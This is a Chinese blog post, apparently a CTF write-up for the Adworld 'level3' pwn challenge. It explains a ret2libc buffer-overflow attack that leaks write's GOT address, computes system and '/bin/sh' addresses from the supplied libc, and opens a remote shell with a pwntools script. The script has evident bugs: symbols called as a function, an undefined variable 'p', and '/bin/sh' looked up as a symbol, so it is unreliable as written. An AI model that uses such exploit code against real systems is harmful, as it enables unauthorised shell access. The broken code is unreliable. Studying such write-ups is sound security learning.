• *pwn*练习6——攻防世界-level3


    这个题做的蛮久的,老样子,基本操作来一遍

    通过ida分析后,没有system函数,也没有/bin/sh这样的字眼,但题目给了一个动态库,于是我们可以通过另一个库,来调出system(/bin/sh),

    两个调用的动态函数库相同,所以write函数和system函数之间的地址差值是相同的,所以我们的目的是求出差值。我们最后要求出system的真实地址。

    所以构造的第一个payload就是为了得出write函数的真实的地址,通过write的真实地址,就可以得到动态函数中write和symtem的真实地址。

    esp:寄存器存放当前线程的栈顶指针
    ebp:寄存器存放当前线程的栈底指针
    eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。

    from pwn import *
    kubopiy=remote("220.249.52.133",42657)#进行连接
    elf = ELF("./level3")
    libc=ELF('./libc_32.so.6')
    #获取lib库对象
    write_plt=elf.plt['write']
    write_got=elf.got['write']
    main_addr = elf.symbols('main')
    payload='a'*(0x88+0x04)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
    #填入垃圾字符,用plt调用write函数,使之该函数结束的时候返回到main函数进行第二次攻击,后面三个是write函数的三个参数,就能得到write函数的真实地址
    kubopiy.recvuntil("Input: ")#第一次攻击
    kubopiy.sendline(payload)
    write_got_addr=u32(p.recv())#u32解包,得到write的真实地址
    sys_base=write_got_addr-libc.symbols['write']
    system_addr=sys_base+libc.symbols['system']
    bin_addr=sys_base+libc.symbols['/bin/sh']
    kubopiy.recvuntil("Input: ")#第二次攻击
    payload='a'*(0x88+0x04)+p32(system_addr)+'a'*(4)+p32(bin_addr)
    kubopiy.sendline(payload)
    kubopiy.interactive()
  • 相关阅读:
    [Go] Slices vs Array
    [置顶] SpecDD系列:“完成” 的定义
    关于游戏开发的一点随笔
    提高效率 常用的几个xcode快捷键
    关于android 自己实现 back键 home键
    (组合数学3.1.1.1)POJ 1146 ID Codes(字典序法)
    [置顶] c# asp.net 修改webconfig文件 配置
    python数据类型和3个重要函数
    jdk环境变量配置
    VM虚拟机下在LINUX上安装ORACLE 11G单实例数据库
  • 原文地址:https://www.cnblogs.com/kubopiy/p/13702640.html
Copyright © 2020-2023  润新知